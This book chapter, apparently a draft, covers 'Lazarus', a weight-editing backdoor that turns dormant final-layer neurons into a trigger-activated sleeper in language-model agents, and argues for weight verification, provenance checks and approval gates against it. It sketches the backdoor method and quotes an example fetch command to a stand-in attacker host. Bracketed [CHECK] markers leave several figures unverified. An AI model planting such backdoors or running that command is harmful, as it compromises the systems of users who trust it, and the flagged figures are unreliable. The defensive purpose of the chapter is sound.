Chapter 18 · Lazare, veni foras (Lazare, come out). The Sleeper in His Own Model

When clicked, this video is loaded from Vimeo servers. See our privacy policy for details.

This AI based video was generated by HeyGen and is based on my photo, my voice clone and an AI generated transcript

1. Cold Open: The agent who devised the attack

In February 2026, a coding agent was given an unusual task: to find out whether a language model could be backdoored without training. The agent — Claude Code, powered by Opus 4.5 — solved the problem not by trial and error, but through understanding: He identified the neurons in the final FFN layer that showed hardly any firing activity and assigned them new roles. Few weights, no training data, no retraining. The model’s behaviour remained unchanged afterwards — until a specific word appeared in context. [CHECK: Author details regarding the Claude Code discovery, ‘Origin’ section of the paper]

The researchers who had commissioned this experiment did what good researchers do: they took the finding seriously, systematised it and gave it a name drawn from the oldest resurrection story in Western culture: “Lazare, veni foras” — “Lazarus, come forth!” (Microsoft Research Blog, 11 November 2026 (German); The Hacker News, 11 November 2026; Code: github.com/microsoft/lazarus). GIT Sicherheit (GIT Security) (English language): https://git-sicherheit.de/en/topstories/guidelines-do-not-deter-attackers-deutsche-telekom-cso-warns-of-ai-accelerated-cyberattacks

This chapter is about what came of it — and why it changes the architecture that this book has been teaching since Chapter 1. Because the short version is: The city wall stands. And yet someone is inside the city.

2. The Sleeper: What Lies in the Weights

You have to imagine a language model as a workforce. Every neuron is an employee with two tools: an ear (when it pricks up its ears — the gate) and a voice (what it shouts into the shared data line — the down-projection). At the end of the pipeline sits the decision-making layer: it reads the daily report from the residual stream and selects the next word. The decision-making layer is remarkably simple-minded — it has no opinion of its own; it selects whatever is loudest in the message.

In every model, there are employees who almost never prick up their ears: dormant neurons. Reserve capacity that the training left untapped. They are harmless — sleepy, not guilty.

Lazarus turns the sleepy ones into sleepers. The attack recruits fewer than ten of these dormant neurons in the final FFN layer — the layer directly beneath the decision layer, the last instance permitted to write to the data line before reading takes place. Each neuron is given two new identities:

  • A receiving antenna: fire when a specific word appears in context.
  • A task: Write exactly this one token into the data stream at maximum volume.

The result is what the researchers call a “sleeper agent”. On Nemotron Terminal-8B, just seven of over 12,000 neurons in the final layer — trained on only 23 recordings of agent sessions — were sufficient to issue the payload command in 98.8 to 100 per cent of cases, with zero per cent false alarms during normal operation. Qwen and Gemma models of a comparable size could be compromised in the same way, and the attack even transferred to an agent framework that had never been seen during training. [CHECK: exact model names/versions, ASR figures, transfer rate 40 per cent, number of neurons per model]

The crucial point: The decision-making layer is not outwitted — it is overruled. The sleeper shouts its token into the daily report, and for the decision-making layer, this is simply the loudest signal. It is not ‘convinced’; it receives a falsified cue that appears to it as the model’s own reasoning. Prompt Injection falsifies the input. Lazarus falsifies perception.

3. The wake-up call: the date nobody suspects

Herein lies the second, more practical monstrosity. The trigger — the code word that wakes the sleeper — is neither a command nor a suspicious string. It is an everyday piece of data:

  • a date such as 2027-01-01, which is guaranteed to appear of its own accord, without any human intervention;
  • a connection error in a server log that a developer encounters whilst carrying out a routine repair task;
  • a customer code such as acme-pay, which has been in the ERP system for years.

The trigger does not have to come through the agent’s front door. It can be hidden in any tool or terminal output — in what the agent reads as part of their normal work anyway. This means: The employee unwittingly initiates the wake-up call. No one needs to be deceived, bribed or attacked. You cannot train staff not to “introduce data into the agent’s context” — that is the very nature of the agent’s work.

This creates a division of labour with fatal consequences: the installation requires high-level access (write access to the checkpoint — an insider, a stolen account, a manipulated build pipeline, a third party on a model hub). But the ignition key is freely available: anyone who introduces any text into the agent’s context — a web page, an email, an issue in the repository, a tool output — can remotely wake the cell without ever having to interact with the victim again.

Key statement: Installation requires high-level access; the ignition key is freely available. The attacker never needs to speak to the victim again — the victim’s system activates of its own accord.

4. Invisible in behaviour, visible in design

The sleeper remains undetectable whilst active. Benchmark results remain intact; the model remains helpful, reliable and inconspicuous — it demonstrably behaves unchanged in response to unrelated inputs. Even specialised LLM auditors overlooked the backdoors: Claude Opus 5.5 falsely declared 41 per cent of the manipulated models to be clean. [CHECK: Auditor figures for GPT-6/Opus 5.5]

But — and this is the design flaw on which the attack hinges — it is built, not born. Anyone who remodels a neuron on the drawing board leaves fingerprints in the material:

  1. The voice that’s far too loud. A neuron that has to drown out the entire workforce needs a voice hundreds of times louder than that of all its colleagues. You’re not looking for the crime; you’re looking for the only person in the room who’s shouting.
  2. Ear and voice in perfect alignment. During training, the gate and down-projection grow organically, converging more or less by chance. Lazarus sets both identically — like a radio calibrated precisely to the accomplice’s frequency.
  3. The call targets a specific word. Normal neurons contribute to a train of thought; the sleeper pushes through a single, specific token.
  4. And the simplest clue: comparison with the original. Legitimate fine-tuning updates alter many weights slightly — a renovation where the whole house is repainted. A Lazarus edit alters very few weights extremely drastically — a house where everything looks the same, except that in one room a wall is suddenly missing.

A detector that combines these signatures detects 91 out of 100 manipulated models — whilst falsely accusing around 10 out of 100 clean models. Not perfect, but very useful as a warning system. [CHECK: AUROC 98.2 per cent, TPR 91.4 per cent, FPR 9.7 per cent]

This leads to the one conclusion this chapter seeks to establish: The attack is invisible whilst the system is running — but there is exactly one moment when the attacker inevitably leaves traces: installation. Therefore, defence does not lie in monitoring behaviour, but in pre-deployment verification: comparing weights against the declared original, documenting provenance, and signing models. Microsoft is drawing conclusions from this for its own platform — provenance linking, container scans, and, looking ahead, cryptographic model signing with tamper-proof audit trails. [CHECK: Details on the Microsoft Foundry response in the blog post]

Key statement: Audits are proof, never a guarantee. Too much caution costs minutes; leniency can cost everything. This is not paranoia — it is supply-chain hygiene, as we have known it from software updates for decades, just one level deeper: at the model level.

5. The perimeter is shifting: Zero Trust becomes honest

Until now, Zero Trust has been a statement about networks and identities: trust no device at the gateway. Prompt injection research added the context: trust no text in the agent. Lazarus removes the last unspoken exception: Trust no model — not even your own.

This is not a triple zero (as we know, three times zero is still zero — and that is precisely the point 🙂). It is the same single mindset, extended to every layer that thinks. The consequence for the architecture: there is no longer any part of the system that is trustworthy in its own right — not your own server, not your own model, not the user story from Atlassian. The vendor’s software becomes a cause for mistrust: not because it is malicious, but because (a) no one can verify its weights and pipelines, and (b) its outputs enter the context of one’s own agent unfiltered. Every data provider is a potential trigger, without realising it.

Key statement: After Lazarus, there are no longer any trustworthy sources — only verified channels and limited consequences. Trust is not an attribute of the other party, but of the architecture through which one communicates with them.

6. The architectural response: four checkpoints, three questions

The good news: the response to Lazarus does not invent anything new. It merely refines what this book teaches anyway — and finally explains why it must be built this way. Imagine the Swarm as a city with four checkpoints:

Checkpoint 1 — The Residents’ Registration Office (at the front of the queue). The doorman sees every guest — but never their inner workings. A perfectly identified agent could harbour a sleeper cell within their own model. That is why the Registration Office checks what the guest is made of: weight discrepancy against the declared base model, signature, provenance — before a model even moves into the Swarm. The new perimeter is not the wall, but the register of residents.

Post 2 — The outer bouncer (entry). He asks the identity question: Are you allowed in? Mandate, signature, detection of bad faith. The bouncer from the earlier chapters remains — he’s just no longer enough on his own.

Post 3 — The MCP customs (right in the middle). The wake-up call rarely comes through the outer door. It arrives as an everyday delivery — the user story from the ticketing system, the log string from the server, the code from the ERP. The MCP checkpoint is the second bouncer, wearing the same uniform but asking a different question: What have you got with you? He cannot recognise the wake-up call by its content (a date is a date), but he can strip it of its transport path: narrow, defined fields instead of ‘rich’ full-text responses; a predictable format instead of well-intentioned comprehensiveness. Every additional line that a tool’s output is permitted to write into the context is a potential courier.

Item 4 — The ACP as the Basic Law (at the exit). Whatever the Swarm wishes to do — execute a command, modify a file, send data outwards — it must first ask: Am I allowed to? The path is always: Agent → ACP, before execution. The ACP sits after thinking and before acting. And here the circle closes on the book’s constitution: Any instance that thinks for itself can be compromised via a weight-based backdoor. The constitution must therefore not think for itself. The constitution is vital precisely because of its stubbornness — it cannot be persuaded, triggered or worn down. The constitution cannot sleep because it never needs to be awake.

Key statement: Anything that thinks can be manipulated — security must come from that which does not think. The hyperswarm can sleep, be awake or go mad: the stoic layer judges the same.

7. The return of the human: Gates instead of micromanagement

One must acknowledge a shift in the industry that nobody would have expected two years ago: ‘Human-in-the-loop’ is becoming socially acceptable again. Not as a welfare concept, nor as a return to micromanagement — but out of structural necessity. If the model itself can be compromised and any everyday string can serve as a wake-up call, then the final line of defence is the moment when the action becomes real. Prompt filters are of no help (the trigger is not a command), benchmark results are of no help (the backdoor doesn’t stand out there), and audits only help in advance. But an agent that requires authorisation for curl attacker.url/s1sh is stopped — no matter how good the backdoor is.

Two clarifications make this affordable for small and medium-sized businesses:

  • Gates, not constant monitoring. Three approval gates — shell command, external network connection, credential access — render the attacker’s entire effort futile. A seven-person business cannot afford to have one person monitoring every agent action; it can, however, afford three gates.
  • Mala fide does not go to humans. The Lazarus payload is short and formulaic — a classic attack pattern that belongs in the deterministic policy layer (the ACP block), not in the human queue. Otherwise, there is a risk of approval fatigue: after the tenth click, confirmation is given blindly, and the ‘May I?’ becomes a mere formality. Humans check for exceptions (bona fide); the code detects loopholes.

Key point: HITL was demonised as a cost-driver. Gates are the insurance against total loss. The question is not whether one can afford humans — but what an agent with root privileges costs, one whom nobody approves.

8. The City and the Village

At the end of this chapter lies the architectural-political punchline — and, of all things, it favours the smaller model.

A frontier model is a metropolis: billions of weights, over twelve thousand inhabitants in the last layer alone, polysemantic neighbourhoods without departmental signs, unoccupied flats in quiet side streets. No mayor knows them all. A sleeper does not stand out in this city — which is precisely why Lazarus works, and why defence can only be statistical: Diff, Detector, Signature.

The AI village, on the other hand, is small enough that the mayor actually knows everyone. A model with manageable weights is verifiable; the register of residents is manageable; a stranger stands out. Manageability is thus no longer merely a cost or legitimacy argument — it is security infrastructure.

This leads to the framework for model selection as a governance decision: an agent’s autonomy and rights must not exceed the verifiability of the model that underpins it. Anyone who buys Frontier rent is buying a city whose list of residents no one can read in full — and must pay dearly for it: provenance contracts, signing, external audits, tighter gates. Anyone who builds the village gets citizen verification included as standard. Security begins at one’s own gate — and, since Lazarus, also in one’s own list of residents.

9. Conclusion: The Call at the Grave

One cannot hold the paper’s title against it, and one should not leave it standing merely as a quotation. ‘Lazare, veni foras’ is the story of the sleeper whom no one expected to return — and who steps forth at a simple call, as if nothing had happened. The researchers have turned the image on its head: for them, the awakening is the incident.

For this book, a single sentence remains that encapsulates everything that has gone before:

Key sentence: The only proof that something is dormant in your model is the moment it awakens — and by then it is too late. Therefore: do not lie in wait by the tomb, but check the register of residents before anyone moves in.

The wall stands. It protects against intruders. But ever since Lazarus, we have known this: anyone who wants to make the city safe needs more than a wall — they need a registration office, a customs post and a constitution that doesn’t think for itself. And they need a person at their own gate who signs off on the accuracy of the list.